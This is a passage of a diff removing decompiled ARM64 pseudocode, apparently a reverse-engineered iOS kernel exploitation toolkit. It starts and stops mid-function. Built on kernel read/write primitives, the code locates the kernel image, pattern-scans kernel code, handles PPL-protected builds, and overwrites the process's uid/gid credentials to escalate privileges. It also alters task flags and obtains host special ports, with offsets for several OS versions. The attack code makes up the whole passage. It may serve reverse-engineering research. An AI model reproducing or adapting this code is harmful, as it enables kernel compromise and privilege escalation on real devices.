v3; // x20 - int v4; // w8 - __int64 v5; // x22 - bool v6; // zf - unsigned __int64 v7; // x8 - io_registry_entry_t v8; // w0 - unsigned __int64 v9; // x0 - unsigned __int64 v10; // x0 - int v12; // [xsp+8h] [xbp-58h] BYREF - _DWORD v13[3]; // [xsp+Ch] [xbp-54h] BYREF - unsigned int v14; // [xsp+18h] [xbp-48h] - unsigned __int64 v15; // [xsp+28h] [xbp-38h] BYREF - - v15 = a2; - if ( !a2 ) - { - v8 = IORegistryEntryFromPath(kIOMasterPortDefault, "IOService:/"); - if ( v8 + 1 < 2 ) - return 0LL; - v9 = sub_32D6C((__int64)a1, v8); - if ( !v9 ) - return 0LL; - v10 = sub_328A4((__int64)a1, v9); - v15 = v10; - if ( !v10 ) - return 0LL; - if ( !kread64(a1, v10, (__int64 *)&v15) ) - return 0LL; - v15 = sub_29D2C(a1, v15); - if ( !kread64(a1, v15, (__int64 *)&v15) ) - return 0LL; - a2 = sub_29D2C(a1, v15); - v15 = a2; - } - v3 = 0LL; - v4 = a1[0x60]; - if ( v4 == 0x4000 ) - v5 = 0x4000LL; - else - v5 = 0x100000LL; - v6 = v4 == 0x4000; - v7 = a2 & -v5; - if ( !v6 ) - v7 += 0x4000LL; - if ( v7 >= 0xFFFF000000000000LL ) - { - v3 = v7; - while ( (unsigned int)kreadbuf_last_1((__int64)a1, v3, 4LL, (__int64)&v12) ) - { - if ( v12 == 0xFEEDFACF ) - { - if ( !(unsigned int)kreadbuf_last_1((__int64)a1, v3 + 4, 0x18LL, (__int64)v13) ) - return 0LL; - if ( v13[2] == 2 && v14 >= 9 && v14 < 0x40 ) - return v3; - } - v3 -= v5; - if ( v3 <= 0xFFFEFFFFFFFFFFFFLL ) - return 0LL; - } - return 0LL; - } - return v3; -} - -//----- (0000000000039A24) ---------------------------------------------------- -__int64 __fastcall sub_39A24(__int64 a1, unsigned __int64 a2) -{ - __int64 result; // x0 - unsigned __int64 v3; // x20 - void *v5; // x0 - __int64 v6; // x21 - __int128 v7; // q1 - int v8; // w3 - - if ( *(_QWORD *)(a1 + 0x19F8) ) - return 0LL; - v3 = a2; - if ( !a2 ) - { - v3 = sub_39888((_DWORD *)a1, 0LL); - if ( !v3 ) - return 0x28014LL; - } - v5 = calloc(0x128uLL, 1uLL); - if ( !v5 ) - return 0xAD009LL; - v6 = (__int64)v5; - sub_19DD4((__int64)v5, a1); - v7 = *(_OWORD *)(a1 + 0x150); - *(_OWORD *)(v6 + 0x70) = *(_OWORD *)(a1 + 0x140); - *(_OWORD *)(v6 + 0x80) = v7; - *(_QWORD *)(v6 + 0x90) = *(_QWORD *)(a1 + 0x160); - *(_DWORD *)(v6 + 0x98) = *(_DWORD *)(a1 + 0x178); - *(_DWORD *)(v6 + 0x38) = *(_DWORD *)(a1 + 0x180); - if ( *(_QWORD *)(a1 + 0x158) >> 0x2B <= 0x44AuLL ) - v8 = 0x80; - else - v8 = 0x480; - if ( !sub_1A4FC(v6, 0, v3, v8) ) - return 0x28017LL; - result = 0LL; - *(_QWORD *)(a1 + 0x19F8) = v6; - return result; -} - -//----- (0000000000039B14) ---------------------------------------------------- -unsigned __int64 __fastcall sub_39B14(_QWORD *a1) -{ - unsigned __int64 result; // x0 - __int64 v3; // [xsp+0h] [xbp-20h] BYREF - __int64 v4; // [xsp+8h] [xbp-18h] BYREF - - result = sub_1E99C(a1[0x33F], &v4, &v3); - if ( (_DWORD)result ) - { - result = sub_1F0F4(); - if ( result ) - { - a1[0x30E] = v4; - a1[0x30F] = v3; - a1[0x310] = result; - return 1LL; - } - } - return result; -} - -//----- (0000000000039B70) ---------------------------------------------------- -void __usercall sub_39B70(__int64 a1@, _QWORD *a2@) -{ - __int64 v4; // x10 - __int64 v5; // x0 - char *v6; // x0 - char *v7; // x21 - __int64 v8; // x8 - __int64 v9; // x9 - __int64 v10; // x8 - __int128 v11; // [xsp+8h] [xbp-38h] BYREF - __int64 v12; // [xsp+18h] [xbp-28h] - - *a2 = 0LL; - a2[1] = 0LL; - a2[2] = 0LL; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) - goto LABEL_2; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) - { - sub_19B98("__PPLTEXT", *(_QWORD *)(a1 + 0x19F8), &v11); - goto LABEL_5; - } - sub_19D10(*(_QWORD *)(a1 + 0x19F8), &v11); - v4 = v12; - if ( *(_QWORD *)(a1 + 0x158) < 0x1C1B1914600000uLL ) - { - *(_OWORD *)a2 = v11; - a2[2] = v4; - return; - } - *((_QWORD *)&v11 + 1) = *((_QWORD *)&v11 + 1) + v12 - 0x20000; - v12 = 0x20000LL; - v5 = kernel_pattern_scan((__int64)&v11, "08 DC 70 92", 0); - if ( !v5 ) - goto LABEL_2; - v6 = sub_1E800(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v5 - 4)); - if ( !v6 ) - goto LABEL_2; - v7 = v6; - sub_19D10(*(_QWORD *)(a1 + 0x19F8), &v11); - v8 = *((_QWORD *)&v11 + 1) - (_QWORD)v7; - if ( *((_QWORD *)&v11 + 1) > (unsigned __int64)v7 - || (v9 = v12, (unsigned __int64)v7 >= v12 + *((_QWORD *)&v11 + 1)) - || (*a2 = v11, a2[1] = v7, v10 = v8 + v9, (a2[2] = v10) == 0LL) ) - { -LABEL_2: - sub_19D10(*(_QWORD *)(a1 + 0x19F8), &v11); -LABEL_5: - *(_OWORD *)a2 = v11; - a2[2] = v12; - } -} - -//----- (0000000000039CC0) ---------------------------------------------------- -__int64 __fastcall sub_39CC0(__int64 a1, task_name_t target_task, int a3, __int64 a4, __int64 a5) -{ - __int64 result; // x0 - int v11; // w8 - int v12; // w8 - unsigned __int64 v13; // x9 - unsigned int v16; // w24 - mach_msg_type_number_t v17; // w8 - task_flavor_t v18; // w1 - int v19; // w9 - unsigned __int64 v20; // x24 - mach_msg_type_number_t task_info_outCnt; // [xsp+Ch] [xbp-84h] BYREF - _BYTE __s1[32]; // [xsp+10h] [xbp-80h] BYREF - integer_t task_info_out[8]; // [xsp+30h] [xbp-60h] BYREF - - result = 0LL; - v11 = *(_DWORD *)(a1 + 0x140); - if ( v11 > 0x2257 ) - { - if ( v11 != 0x2258 && v11 != 0x2712 && v11 != 0x225C ) - return result; - goto LABEL_14; - } - if ( (unsigned int)(v11 - 0x1F53) < 2 ) - { -LABEL_14: - v12 = 0x40; - v13 = 0x1F530F027FFFFFLL; - goto LABEL_15; - } - if ( v11 == 0x1809 ) - { - v16 = 0xA0; - goto LABEL_18; - } - if ( v11 != 0x1C1B ) - return result; - v12 = 0x94; - v13 = 0x1C1B19145FFFFFLL; -LABEL_15: - if ( *(_QWORD *)(a1 + 0x158) <= v13 ) - v16 = 0x9C; - else - v16 = v12; -LABEL_18: - if ( (unsigned int)(a3 - 1) >= 2 ) - { - if ( a3 != 3 ) - return 0LL; - v16 += 8; - v17 = 8; - v18 = 0xF; - v19 = 0x20; - } - else - { - v17 = 2; - v18 = 0xD; - v19 = 8; - } - if ( v19 != (_DWORD)a5 ) - return 0LL; - task_info_outCnt = v17; - if ( task_info(target_task, v18, task_info_out, &task_info_outCnt) ) - return 0LL; - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - { - result = port_name_to_kaddr(a1, target_task); - if ( !result ) - return result; - } - else - { - result = sub_34754((_DWORD *)a1, target_task); - if ( !result ) - return result; - } - v20 = result + v16; - result = kreadbuf_last_1(a1, v20, (unsigned int)a5, (__int64)__s1); - if ( !(_DWORD)result ) - return result; - if ( memcmp(__s1, task_info_out, (unsigned int)a5) ) - return 0LL; - if ( !*(_QWORD *)(a1 + 0x1900) && a3 == 2 && mach_task_self_ == target_task ) - { - *(_QWORD *)(a1 + 0x1908) = *(_QWORD *)task_info_out; - *(_QWORD *)(a1 + 0x1900) = v20; - } - return kwritebuf_universal((_QWORD *)a1, v20, a4, a5); -} - -//----- (0000000000039EAC) ---------------------------------------------------- -__int64 __fastcall create_pthread_something(__int64 a1, pthread_t *a2, __int64 a3, void *a4) -{ - int v8; // w0 - int v9; // w8 - __int64 v10; // x20 - int v11; // w0 - void *(__cdecl *v12)(void *); // x0 - int v13; // w8 - mach_port_t v15; // w0 - thread_act_t v16; // w22 - unsigned int v17; // w1 - int v18; // w0 - kern_return_t v19; // w0 - pthread_t v20; // [xsp+0h] [xbp-70h] BYREF - pthread_attr_t v21; // [xsp+8h] [xbp-68h] BYREF - - v20 = 0LL; - v8 = pthread_attr_init(&v21); - if ( v8 ) - { - if ( v8 >= 0 ) - v9 = v8; - else - v9 = -v8; - return v9 | 0x40000000u; - } - else - { - v11 = pthread_attr_setdetachstate(&v21, 1); - if ( v11 - || (v12 = (void *(__cdecl *)(void *))nullsub_1(a3), (v11 = pthread_create_suspended_np(&v20, &v21, v12, a4)) != 0) ) - { - if ( v11 >= 0 ) - v13 = v11; - else - v13 = -v11; - v10 = v13 | 0x40000000u; - } - else - { - v10 = 0x28003LL; - v15 = pthread_mach_thread_np(v20); - if ( v15 ) - { - v16 = v15; - v17 = *(_DWORD *)(a1 + 0x191C); - if ( !v17 ) - v17 = *(_DWORD *)(a1 + 0x1918); - sub_39FDC(a1, v17, v15); - if ( v18 ) - { - v19 = thread_resume(v16); - if ( v19 ) - { - v10 = v19 | 0x80000000; - } - else - { - v10 = 0LL; - *a2 = v20; - } - } - } - else - { - v10 = 0x28008LL; - } - } - pthread_attr_destroy(&v21); - } - return v10; -} -// 39FA8: variable 'v18' is possibly undefined -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (0000000000039FDC) ---------------------------------------------------- -void __fastcall sub_39FDC(__int64 a1, unsigned int a2, unsigned int a3) -{ - int v5; // w22 - __int64 v6; // x0 - unsigned __int64 v7; // x20 - unsigned __int64 v8; // x0 - mach_vm_address_t v9; // x23 - __int64 v10; // [xsp+8h] [xbp-38h] BYREF - __int64 vars8; // [xsp+48h] [xbp+8h] - - if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) - v5 = 1; - else - v5 = 0x4000000; - if ( a2 ) - { - v6 = sub_340D8((_DWORD *)a1, a2, 0LL); - if ( v6 ) - { - v7 = v6; - v8 = sub_34298(a1, a3); - if ( v8 ) - { - v9 = v8; - if ( kread64((_DWORD *)a1, v8, &v10) ) - { - if ( (unsigned int)set_flags_something_INEEDTOLOOK_sub_3F8C0(a1, a3, v5, 1) ) - { - sub_35FD8(a1, v7); - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - kwrite64(a1, v9, v7); - else - sub_2A63C(a1, v9, v7); - } - } - } - } - } - else - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - set_flags_something_INEEDTOLOOK_sub_3F8C0(a1, a3, v5, 0); - } -} - -//----- (000000000003A100) ---------------------------------------------------- -bool __fastcall pthread_create_and_join(__int64 a1, __int64 a2, void *a3) -{ - int v3; // w0 - pthread_t v5; // [xsp+8h] [xbp-8h] BYREF - - v5 = 0LL; - v3 = create_pthread_something(a1, &v5, a2, a3); - if ( !v3 ) - v3 = pthread_join(v5, 0LL) != 0; - return v3 == 0; -} - -//----- (000000000003A150) ---------------------------------------------------- -__int64 __fastcall sub_3A150(__int64 a1, int a2, int a3, int a4) -{ - uid_t v8; // w21 - __int64 result; // x0 - unsigned __int64 v10; // x23 - unsigned __int64 v11; // x0 - int v12; // w8 - __int64 v13; // x8 - unsigned __int64 v14; // x21 - __int64 v15; // x0 - __int64 v16; // x0 - unsigned __int64 v17; // x0 - _DWORD v18[4]; // [xsp+0h] [xbp-150h] BYREF - __int128 v19; // [xsp+10h] [xbp-140h] - __int128 v20; // [xsp+20h] [xbp-130h] - __int128 v21; // [xsp+30h] [xbp-120h] - __int128 v22; // [xsp+40h] [xbp-110h] - int v23; // [xsp+50h] [xbp-100h] - int v24; // [xsp+54h] [xbp-FCh] - __int64 __s2; // [xsp+68h] [xbp-E8h] BYREF - int __s2_12; // [xsp+74h] [xbp-DCh] - __int128 v27; // [xsp+78h] [xbp-D8h] - __int128 v28; // [xsp+88h] [xbp-C8h] - __int128 v29; // [xsp+98h] [xbp-B8h] - __int128 v30; // [xsp+A8h] [xbp-A8h] - int v31; // [xsp+CCh] [xbp-84h] BYREF - _QWORD v32[3]; // [xsp+D0h] [xbp-80h] BYREF - int v33; // [xsp+ECh] [xbp-64h] BYREF - __int64 v34; // [xsp+F0h] [xbp-60h] BYREF - unsigned __int64 v35; // [xsp+F8h] [xbp-58h] BYREF - __int64 v36; // [xsp+100h] [xbp-50h] BYREF - unsigned __int64 v37; // [xsp+108h] [xbp-48h] BYREF - - v8 = getuid(); - result = sub_340D8((_DWORD *)a1, mach_task_self_, 0LL); - if ( result ) - { - result = kreadbuf_last_1(a1, result + 0x68, 4LL, (__int64)&v31); - if ( (_DWORD)result ) - { - if ( !*(_DWORD *)(a1 + 0x1910) && !*(_DWORD *)(a1 + 0x1914) ) - { - *(_DWORD *)(a1 + 0x1910) = v8; - *(_DWORD *)(a1 + 0x1914) = v31; - } - if ( v8 == a2 && v31 == a3 ) - return 1LL; - if ( a4 ) - goto LABEL_10; - if ( krw_ctx_has_flag((_DWORD *)a1, 4) ) - return 0LL; - result = *(_QWORD *)(a1 + 0x18E0); - if ( !result ) - { -LABEL_10: - __s2 = 0LL; - result = sub_340D8((_DWORD *)a1, mach_task_self_, &__s2); - if ( !result ) - return result; - if ( !*(_QWORD *)(a1 + 0x18E0) ) - { - *(_QWORD *)(a1 + 0x18E0) = result; - *(_QWORD *)(a1 + 0x18E8) = __s2; - } - } - v10 = result + 0x18; - result = kreadbuf_last_1(a1, result + 0x18, 0x58LL, (__int64)&__s2); - if ( (_DWORD)result ) - { - v18[3] = __s2_12; - v19 = v27; - v20 = v28; - v21 = v29; - v22 = v30; - v18[0] = a2; - v18[1] = a2; - v18[2] = a2; - LODWORD(v19) = a3; - v23 = a3; - v24 = a3; - if ( !memcmp(v18, &__s2, 0x58uLL) - || (result = kwritebuf_universal((_QWORD *)a1, v10, (__int64)v18, 0x58LL), (_DWORD)result) ) - { - v11 = sub_33E8C(a1, mach_task_self_); - v37 = v11; - if ( v11 ) - { - v12 = *(_DWORD *)(a1 + 0x140); - if ( v12 > 0x2257 ) - { - if ( v12 != 0x2258 && v12 != 0x225C && v12 != 0x2712 ) - return 0LL; - v13 = 0xA8LL; - } - else if ( (unsigned int)(v12 - 0x1F53) < 2 ) - { - v13 = 0xB0LL; - } - else if ( v12 == 0x1809 ) - { - v13 = 0xC8LL; - } - else - { - if ( v12 != 0x1C1B ) - return 0LL; - v13 = 0xB8LL; - } - if ( kread64((_DWORD *)a1, v13 + v11, (__int64 *)&v37) ) - { - if ( v37 ) - { - if ( !validate_addr(a1, v37) ) - return 0LL; - } - else - { - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) - { - v14 = *(_QWORD *)(a1 + 0x1990); - if ( !v14 ) - { - sub_19D10(*(_QWORD *)(a1 + 0x19F8), v32); - v16 = kernel_pattern_scan((__int64)v32, "00 7D 04 13 .. .. .. .. .. .. .. .. 21 05 80 52", 0); - if ( !v16 ) - return 0LL; - v17 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v16 + 4)); - if ( !v17 ) - return 0LL; - v14 = v17; - *(_QWORD *)(a1 + 0x1990) = v17; - } - if ( kread64((_DWORD *)a1, v14, (__int64 *)&v37) - && v37 <= 0x3FF - && kread64((_DWORD *)a1, v14 + *(int *)(a1 + 0x168), &v36) - && validate_addr(a1, v36) - && kread64( - (_DWORD *)a1, - v36 + ((unsigned int)v37 & a2) * (__int64)*(int *)(a1 + 0x168), - (__int64 *)&v35) - && validate_addr(a1, v35) ) - { - v15 = v35; - while ( (unsigned int)kreadbuf_last_1(a1, v15 + 2LL * *(int *)(a1 + 0x168), 4LL, (__int64)&v33) ) - { - if ( v33 == a2 ) - { - if ( kread64((_DWORD *)a1, v35 + 3LL * *(int *)(a1 + 0x168), &v34) ) - { - v34 += 4LL; - if ( sub_288A4(a1, v35 + 3LL * *(int *)(a1 + 0x168), v34) ) - { - if ( v35 ) - return 1LL; - } - } - return 0LL; - } - if ( kread64((_DWORD *)a1, v35, (__int64 *)&v35) ) - { - v15 = validate_addr(a1, v35); - v35 = v15; - if ( v15 ) - continue; - } - return 0LL; - } - } - return 0LL; - } - if ( !sub_1EA70(a1, 0) || !(unsigned int)sub_1D970() || !(unsigned int)sub_1D970() ) - return 0LL; - } - return 1LL; - } - } - return 0LL; - } - } - } - } - return result; -} -// 3A150: too many cbuild loops - -//----- (000000000003A57C) ---------------------------------------------------- -bool __fastcall sub_3A57C(__int64 a1, unsigned __int64 a2, __int16 a3, int *a4) -{ - _BOOL8 result; // x0 - int v9; // w2 - int v10; // [xsp+Ch] [xbp-24h] BYREF - - result = kread32_outptr(a1, a2, &v10); - if ( result ) - { - v9 = v10; - if ( a4 ) - *a4 = v10 & 0x3FF; - return noppl_kwrite32(a1, a2, v9 & 0xFFFFFC00 | a3 & 0x3FF); - } - return result; -} - -//----- (000000000003A5F0) ---------------------------------------------------- -__int64 __fastcall sub_3A5F0(__int64 a1, task_name_t a2) -{ - unsigned __int64 v2; // x8 - unsigned int v4; // w2 - unsigned int v5; // w4 - bool v6; // zf - __int128 v7; // [xsp+0h] [xbp-20h] BYREF - __int64 vars8; // [xsp+28h] [xbp+8h] - - v2 = *(_QWORD *)(a1 + 0x158); - if ( v2 < 0x27120F04B00003LL ) - { - if ( v2 <= 0x225C1E804FFFFFLL ) - { - if ( v2 < 0x225C1980500000LL - || ((*(_DWORD *)a1 & 0x5584001) != 0 ? (v6 = (*(_DWORD *)a1 & 1) == 0) : (v6 = 0), v6) ) - { - v4 = 4; - v5 = 0xF; - goto LABEL_13; - } - } - } - else if ( (*(_BYTE *)a1 & 0x20) != 0 ) - { - v7 = xmmword_43740; - return sub_1CA3C(a1, a2, 4u, (__int64)&v7, 0xFu); - } - v4 = 2; - v5 = 3; -LABEL_13: - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_1CA3C(a1, a2, v4, 0LL, v5); -} -// 43740: using guessed type __int128 xmmword_43740; - -//----- (000000000003A72C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_3A72C(__int64 a1) -{ - mach_port_t v2; // w20 - unsigned __int64 result; // x0 - unsigned __int64 v4; // x8 - unsigned __int64 v5; // x21 - kern_return_t special_port; // w20 - int v7; // [xsp+8h] [xbp-28h] BYREF - mach_port_t port; // [xsp+Ch] [xbp-24h] BYREF - - v2 = mach_host_self(); - result = *(unsigned int *)(a1 + 0x1920); - if ( (unsigned int)(result + 1) <= 1 ) - { - if ( !host_get_special_port(v2, 0xFFFFFFFF, 2, &port) ) - return port; - v4 = *(_QWORD *)(a1 + 0x158); - if ( v4 >= 0x1F530000000000LL - && ((*(_DWORD *)a1 & 0x5584001) != 0 - || v4 > 0x22580A06BFFFFFLL - || v4 >= 0x1F543C40800000LL && *(int *)(a1 + 0x140) <= 0x2257) ) - { - result = sub_35610(a1, 2); - if ( !result ) - return result; - if ( !(unsigned int)sub_36480(a1, result, &port) ) - return port; - return 0LL; - } - result = sub_32D6C(a1, v2); - if ( result ) - { - v5 = result; - result = sub_3A57C(a1, result, 4, &v7); - if ( (_DWORD)result ) - { - special_port = host_get_special_port(v2, 0xFFFFFFFF, 2, &port); - sub_3A57C(a1, v5, v7, 0LL); - if ( special_port ) - return 0LL; - return port; - } - } - } - return result; -} - -//----- (000000000003A878) ---------------------------------------------------- -unsigned __int64 __fastcall sub_3A878(__int64 a1) -{ - unsigned __int64 result; // x0 - mach_port_name_t v3; // [xsp+Ch] [xbp-14h] BYREF - - result = *(unsigned int *)(a1 + 0x1924); - if ( (unsigned int)(result + 1) <= 1 ) - { - result = sub_35610(a1, 0); - if ( result ) - { - if ( (unsigned int)sub_36480(a1, result, &v3) ) - return 0LL; - else - return v3; - } - } - return result; -} - -//----- (000000000003A8DC) ---------------------------------------------------- -__int64 __fastcall sub_3A8DC(__int64 a1, unsigned int a2) -{ - __int64 result; // x0 - __int64 v5; // x8 - unsigned __int64 v6; // x1 - unsigned __int64 *v7; // x2 - int v8; // w0 - __int64 v9; // [xsp+0h] [xbp-40h] BYREF - unsigned __int64 v10; // [xsp+8h] [xbp-38h] BYREF - __int64 v11; // [xsp+10h] [xbp-30h] BYREF - unsigned __int64 v12; // [xsp+18h] [xbp-28h] BYREF - __int64 v13; // [xsp+20h] [xbp-20h] BYREF - __int64 v14; // [xsp+28h] [xbp-18h] BYREF - - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x20) ) - return 1LL; - result = sub_349C8((_DWORD *)a1, a2); - if ( result ) - { - result = kread64((_DWORD *)a1, result + 0xB0, &v14); - if ( (_DWORD)result ) - { - result = validate_addr(a1, v14); - if ( result ) - { - result = kread64((_DWORD *)a1, v14 + 0x50, &v13); - if ( (_DWORD)result ) - { - if ( v13 ) - { - v5 = *(_QWORD *)(a1 + 0x128); - if ( v5 ) - { - if ( v13 != v5 ) - { - v11 = 0LL; - v12 = 0LL; - v9 = 0LL; - v10 = 0LL; - if ( !(unsigned int)kreadbuf_last_1(a1, v5 + 0x28, 8LL, (__int64)&v10) - || !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(a1 + 0x128) + 0x30LL, 8LL, (__int64)&v9) - || !(unsigned int)kreadbuf_last_1(a1, v13 + 0x28, 8LL, (__int64)&v12) - || !(unsigned int)kreadbuf_last_1(a1, v13 + 0x30, 8LL, (__int64)&v11) ) - { - return 0LL; - } - if ( v12 <= v10 ) - { - v6 = v13 + 0x30; - v7 = (unsigned __int64 *)&v9; - } - else - { - v6 = v13 + 0x28; - v7 = &v10; - } - sub_130B4(a1, v6, (__int64)v7, 8LL); - if ( !v8 ) - return 0LL; - } - } - } - return 1LL; - } - } - } - } - return result; -} -// 3AA0C: variable 'v8' is possibly undefined - -//----- (000000000003AA2C) ---------------------------------------------------- -void __fastcall sub_3AA2C(__int64 a1, unsigned int a2, int a3) -{ - int v6; // w8 - unsigned __int64 v7; // x0 - int v8; // w0 - __int64 v9; // x22 - int v10; // w8 - bool v11; // zf - __int64 v12; // x8 - __int64 v13; // x9 - unsigned __int64 v14; // x0 - __int64 v15; // x21 - __int64 v16; // x22 - unsigned __int64 v17; // x0 - unsigned __int64 v18; // x22 - int v19; // w0 - int v20; // w0 - __int64 v21; // [xsp+8h] [xbp-38h] BYREF - __int64 v22; // [xsp+10h] [xbp-30h] BYREF - unsigned int v23; // [xsp+1Ch] [xbp-24h] BYREF - - v23 = 0; - if ( !(unsigned int)sub_2D934(a1, a2) ) - return; - if ( !a3 ) - { - if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) - { - v7 = sub_349C8((_DWORD *)a1, a2); - if ( !v7 ) - return; - if ( !kread64((_DWORD *)a1, v7 + 0xB0, &v22) ) - return; - if ( !validate_addr(a1, v22) ) - return; - if ( !kread64((_DWORD *)a1, v22 + 0x50, &v21) ) - return; - if ( v21 ) - { - *(_QWORD *)(a1 + 0x128) = v21; - v21 = 0LL; - sub_130B4(a1, v22 + 0x50, (__int64)&v21, *(unsigned int *)(a1 + 0x168)); - if ( !v8 ) - return; - } - goto LABEL_3; - } - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) - goto LABEL_3; - v22 = 0LL; - v10 = *(_DWORD *)(a1 + 0x140); - if ( v10 < 0x2712 ) - { - if ( v10 < 0x1F53 ) - { - if ( v10 < 0x1C1B ) - { - if ( *(_QWORD *)(a1 + 0x158) <= 0x18090A078FFFFFuLL ) - v16 = 0xF0LL; - else - v16 = 0xE8LL; -LABEL_38: - v17 = sub_349C8((_DWORD *)a1, a2); - if ( !v17 ) - return; - v18 = v17 + v16; - if ( !(unsigned int)kreadbuf_last_1(a1, v18, 8LL, (__int64)&v22) ) - return; - if ( v22 ) - { - v21 = 0LL; - if ( (vm_page_mask & v22) != 0 ) - return; - sub_130B4(a1, v18, (__int64)&v21, 8LL); - if ( !v19 ) - return; - sub_130B4(a1, v18 + 8, (__int64)&v21, 8LL); - if ( !v20 ) - return; - } - goto LABEL_3; - } - v11 = !krw_ctx_has_flag((_DWORD *)a1, 0x80000); - v12 = 0xE0LL; - v13 = 0xD8LL; - } - else - { - v11 = !krw_ctx_has_flag((_DWORD *)a1, 0x1180000); - v12 = 0xA0LL; - v13 = 0x98LL; - } - } - else - { - v11 = !krw_ctx_has_flag((_DWORD *)a1, 0x1180000); - v12 = 0xA8LL; - v13 = 0xA0LL; - } - if ( v11 ) - v16 = v13; - else - v16 = v12; - goto LABEL_38; - } -LABEL_3: - v6 = *(_DWORD *)(a1 + 0x140); - if ( v6 <= 0x1F53 ) - { - v9 = 0x10CLL; - if ( v6 != 0x1809 && v6 != 0x1C1B ) - { - if ( v6 != 0x1F53 ) - return; - v9 = 0x11CLL; - } - goto LABEL_28; - } - if ( v6 > 0x225B ) - { - if ( v6 != 0x225C ) - { - if ( v6 != 0x2712 ) - return; - v9 = 0xC8LL; - goto LABEL_28; - } - goto LABEL_23; - } - if ( v6 != 0x1F54 ) - { - if ( v6 != 0x2258 ) - return; -LABEL_23: - v9 = 0xB4LL; - goto LABEL_28; - } - v9 = 0x94LL; -LABEL_28: - v14 = sub_33CB0((_DWORD *)a1, a2); - if ( v14 ) - { - v15 = v14 + v9; - if ( (unsigned int)kreadbuf_last_1(a1, v14 + v9, 4LL, (__int64)&v23) ) - { - v23 = v23 & 0xFFFFFBFF | ((a3 != 0) << 0xA); - kwritebuf_last_1(a1, v15, (__int64)&v23, 4LL); - } - } -} -// 3AB20: variable 'v8' is possibly undefined -// 3AD0C: variable 'v19' is possibly undefined -// 3AD24: variable 'v20' is possibly undefined - -//----- (000000000003AD2C) ---------------------------------------------------- -__int64 __fastcall sub_3AD2C(__int64 a1, unsigned int a2) -{ - unsigned __int64 v3; // x0 - __int64 v4; // x8 - int v5; // w9 - __int64 v6; // x8 - mach_vm_address_t v7; // x20 - unsigned int v8; // w8 - unsigned int v10; // w9 - unsigned int v11; // [xsp+Ch] [xbp-14h] BYREF - - v3 = sub_33E8C(a1, a2); - if ( !v3 ) - return 0LL; - v4 = 0LL; - v5 = *(_DWORD *)(a1 + 0x140); - if ( v5 <= 0x1F53 ) - { - switch ( v5 ) - { - case 0x1809: - v6 = 0x3C0LL; - break; - case 0x1C1B: - v6 = 0x3A8LL; - break; - case 0x1F53: - v6 = 0x430LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) - v6 = 0x4D0LL; - break; - default: - return v4; - } - goto LABEL_19; - } - if ( v5 > 0x225B ) - { - if ( v5 != 0x225C && v5 != 0x2712 ) - return v4; - v6 = 0x6A4LL; -LABEL_19: - v7 = v6 + v3; - if ( kread32_outptr(a1, v6 + v3, &v11) ) - { - v8 = v11; - if ( !HIBYTE(v11) ) - { - v10 = *(_QWORD *)(a1 + 0x158) <= 0x1F52FFFFFFFFFFuLL ? v11 | 0x20 : v11 & 0xFFF71FDF | 0x80000; - v11 = v10 & 0xFFFF1FFF; - if ( v8 == (v10 & 0xFFFF1FFF) || noppl_kwrite32(a1, v7, v10 & 0xFFFF1FFF) ) - return 1LL; - } - } - return 0LL; - } - if ( v5 == 0x1F54 ) - { - v6 = 0x4C8LL; - goto LABEL_19; - } - if ( v5 == 0x2258 ) - { - v6 = 0x4ACLL; - goto LABEL_19; - } - return v4; -} - -//----- (000000000003AE94) ---------------------------------------------------- -void __fastcall sub_3AE94(__int64 a1, unsigned int a2, int a3, int a4, int a5) -{ - unsigned __int64 v10; // x0 - unsigned __int64 v11; // x22 - __int64 v12; // x23 - __int64 v13; // x0 - __int64 v14; // x24 - unsigned __int64 v15; // x0 - __int64 v16; // x23 - unsigned __int64 v17; // x0 - __int64 v18; // x0 - __int64 v19; // x23 - int v20; // w8 - _DWORD *v21; // x0 - int v22; // w1 - bool v23; // zf - __int64 v24; // x8 - __int64 v25; // x9 - int v26; // w8 - __int64 v27; // x8 - unsigned __int64 v28; // x22 - unsigned __int64 v29; // x8 - bool v30; // cc - int v31; // w8 - int v32; // w11 - int v33; // w10 - int v34; // w8 - int v35; // w0 - unsigned __int64 v36; // x26 - unsigned __int64 v37; // x8 - __int64 v38; // x23 - unsigned __int64 v39; // x28 - bool v40; // zf - unsigned __int64 v41; // x27 - __int64 v42; // x24 - __int64 v43; // x20 - void *v44; // x0 - __int128 v45; // q1 - __int64 v46; // [xsp+8h] [xbp-98h] - __int64 v47; // [xsp+10h] [xbp-90h] BYREF - unsigned __int8 v48; // [xsp+1Eh] [xbp-82h] BYREF - char v49; // [xsp+1Fh] [xbp-81h] BYREF - __int64 v50; // [xsp+20h] [xbp-80h] BYREF - __int64 v51[3]; // [xsp+28h] [xbp-78h] BYREF - char v52; // [xsp+43h] [xbp-5Dh] BYREF - int v53; // [xsp+44h] [xbp-5Ch] BYREF - __int64 v54; // [xsp+48h] [xbp-58h] BYREF - - v50 = 0LL; - v10 = sub_349C8((_DWORD *)a1, a2); - if ( !v10 ) - return; - v11 = v10; - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x20) ) - { - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) - { - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x200) ) - return; - v26 = *(_DWORD *)(a1 + 0x140); - if ( v26 <= 0x2257 ) - { - if ( v26 <= 0x1F52 ) - { - if ( v26 <= 0x1C1A ) - { - if ( v26 < 0x1809 ) - return; - v27 = 0xEFLL; - if ( *(_QWORD *)(a1 + 0x158) > 0x18090A078FFFFFuLL ) - v27 = 0xE7LL; - } - 